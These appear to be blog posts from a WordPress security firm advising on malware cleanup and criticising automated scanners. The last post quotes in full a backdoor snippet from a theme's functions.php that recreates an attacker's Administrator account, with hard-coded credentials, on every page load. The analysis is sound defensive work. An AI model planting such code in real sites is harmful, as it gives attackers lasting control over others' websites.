Category: Website Malware

If you have malware on your WordPress website, you are not having a great time and you don’t want to make the situation worse by causing more problems when removing it. From our years of cleaning up hacked WordPress websites and dealing with the aftermath of others not doing a good job of that, there are some important tips we can share.

Make a Backup of Everything First

Before making any changes to the website, make a backup of everything. That usually means making a backup of the files on the website and the database. That way, if a removal effort goes wrong, you can always revert back to where you were before it. It’s worth the time to do this before doing anything else.

We wouldn’t recommend doing this with a WordPress backup plugin, as those can be less reliable methods to generate a backup.

Don’t Overwrite the Website with a Backup You Think is Clean

One common suggestion to deal with a malware infected WordPress website is to revert to a clean backup of the website. There are a couple of common problems with that. First, often you won’t know if the backup is clean, as you probably don’t know when the hack started, only when you noticed it. Second, if you overwrite the files on the website, you can end up with the new malicious files still being on the website. You need to make sure you clear everything out first and put the backup files on the website, instead of overwriting the files. If you overwrite the files, you can also have other problems with files existing that shouldn’t exist together.

Make Sure The Person Removing the Malware Knows What They Are Doing

While it would seem fairly obvious to say you should hire someone experienced in dealing with removing malware from WordPress websites to clean it up, the reality is that there are lots and lots of providers who are not doing things right. You might get lucky and hire someone like us who does things right, but there is a good chance you will hire some who won’t. So either make sure that the provider not only removes the malware but also tries to secure things as much as possible, and most importantly, tries to determine how the website was hacked. If a provider doesn’t emphasize that they do the last element, they should be avoided.

If you are looking to do it yourself, there are lots of guides out there on doing that, though, from what we have seen, that don’t do a good job. A lot of them look to be there to ultimately get you to hire the source of the guide after their advice doesn’t work. Others are written by people that don’t appear to have experience actually dealing with removing malware. Either way, you might get lucky with their advice, but you might not, leading to more work needing to be done.

Try to Figure Out How the Malware Got There

If you remove all the malware, but the source of the infection isn’t addressed, you can quickly have malware on the website again. This is something that often isn’t done, including with lots malware removal services. One of the reasons we know that is that when we are brought in to re-clean malware infected websites, we check the logging and often find that it shows malicious files being accessed that were missed in the previous cleanup.

When it comes to figuring out how websites have been infected with malware or otherwise hacked, people often assume something that happened around the same time as they became aware of the hack caused it. There are a couple of big problems with that. First, as the saying goes, correlation isn’t causation. Second, the start of the hacking can have been well before it is noticed.

Another problem that comes up is that people can come up with fairly improbable possible causes. We recently interacted with someone suggesting that an update to WordPress introduced malware on to their website. If that were something that was occurring, it would be big news. In their case, there wasn’t even a correlation, as they knew about the malware and were having cleaned six days before the update.

A post we wrote recently explains the basics of trying to determine how a website was actually hacked.

If your WordPress website has been hacked and contains malware, a common suggestion for cleaning it up is to use the Wordfence Security plugin. There are a number of problems with that. One being that it won’t necessarily catch all the malware, as someone looking for help with the plugin recently noted:

Hello, I’m using the free version and I’m doing daily scans because my site has a malware. At some point the scan did not detect some new folders that have been created in the root folder.

The folders has some random characters as an name and it contains an index file and a cache folder.

The larger problem with what they were bringing up there is that if you had cleaned up the malware, there wouldn’t even be more malware to possibly detect day after day. So something has gone wrong there.

If there is malware on a WordPress website, the focus shouldn’t be on removing the malware, though it does need to be removed. It should be how it got there, which is something that Wordfence Security can’t determine. When the plugin removes the files without determining that, it makes it harder to figure out.

Another important reason for trying to figure out how the website was infected, which have seen over and over in years of being brought in to re-clean hacked WordPress websites, is that in doing the work to try to figure out how the website was hacked, you often find malware or other malicious code that otherwise would have been missed.

Figuring out how the malware got there in the first place or at least stopping it from getting back in basic part of a proper hack cleanup, but something that many security providers, including the developer of Wordfence Security, either don’t do or fail to accomplish.

When it comes to cleaning up hacked WordPress websites, there is a lot of advice suggesting solutions that are easy, but don’t properly address the situation. That leads to continuing issues that could have been addressed quickly if handled by a professional like us.

As an example of what not to do, take a recent post from the WordPress Support Forum, where someone claimed to have done a full disinfection of a website, which hadn’t worked:

Despite the fact that we did full disinfections, restored backup files several times, and added strong security systems plus CDNs, Google Search Console and McAfee blocked us from the site, for being malicious, for a long time.

One thing missing there is trying to figure out how the website was hacked. That is important for multiple reasons. One of them being that if you don’t know how the website was hacked, then you can’t be sure the issue has been addressed and won’t happen again. Another reason is that if you don’t know how the website was hacked, then you also likely don’t know when it was hacked. Restoring a backup file won’t clear out malicious code, if the malicious code is in the backup as well.

Another issue is that they were trying to find malicious code using several WordPress security plugins, which didn’t find it:

This code is invisible to the user and to monitoring systems such as Wordfence, iThemes S[ecurity], All-In-One Security (AIOS), and Anti-Malware Security and Brute-Force Firewall. None have detected it.

While they are claiming the code was invisible, their description of it tells a different story:

A function added to the head of a theme’s .js file, which uses a “Get” call and links to an encrypted external link.

It is only shown when loading certain pages in the browser code inside (it is not always shown…)

During a proper cleanup, theme files would be checked and before even starting on a hack cleanup, a professional should have noticed the code was being loaded on the website (even though the subsequent code loaded would only occur in some instances). A professional would have been looking for the code before starting, as often people think that some other issue with a website is a hack. So they want to make sure a hack cleanup is needed before starting.

Automated malware detection doesn’t work well, as it both fails to detect plenty of malicious code (as occurred here) and also flags legitimate code as being malicious.

In October, we wrote about how a hacker was able to re-add a malicious user to a hacked WordPress site using a database trigger. That isn’t the only way they can do that, as we found while working on cleaning up a hacked WordPress website recently. In this situation, as soon as a malicious Administrator account was deleted, a new account with the same account information would be created. The cause was code added to the end of the functions.php file for the theme currently in use on the website.

That code was as follows:

add_action( 'init', function () {
 
$username = 'kshivvamaster';
$password = 'Admin@2020';
$email_address = 'kshivva@gmail.com';
 
if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
 
} );

The first line causes the rest of the code to run whenever WordPress loads. The rest of the code checks if the username “kshivvamaster” exists. If it doesn’t exist, it creates a new account with that username along with the specified password and email address in the code. That account is given the Administrator role.